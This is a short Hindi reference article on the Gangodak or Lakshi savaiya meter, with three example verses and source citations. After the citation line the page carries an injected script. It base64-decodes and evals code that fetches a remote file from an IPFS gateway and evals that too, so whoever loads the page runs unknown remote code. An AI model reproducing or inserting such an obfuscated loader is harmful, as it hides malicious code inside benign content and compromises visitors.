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गंगोदक सवैया को लक्षी सवैया भी कहा जाता है। गंगोदक या लक्षी सवैया आठ रगणों से छन्द बनता है। केशव, दास, द्विजदत्त द्विजेन्द्र ने इसका प्रयोग किया है। दास ने इसका नाम 'लक्षी' दिया है, 'केशव' ने 'मत्तमातंगलीलाकर'।

  • दास हौ कान्ह दासी बिना मोल की, छाँड़ि दीन्ह्यौ सबै बंस बंसावरी।"[1]
  • "राम राजान के राज आये यहाँ, धाम तेरे महाभाग जागे अबै।"[2]
  • "हा गिरी, री अरी, हा मरी, री मरी, बोलि लागीं गले राधिका श्याम के।"[3]


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टीका टिप्पणी और संदर्भ

  1. भिखारीदास ग्र., पृष्ठ 244
  2. रामचन्द्रिका, 16 : 9
  3. द्विजदत्त द्विजेन्द्र

धीरेंद्र, वर्मा “भाग- 1 पर आधारित”, हिंदी साहित्य कोश (हिंदी), 741।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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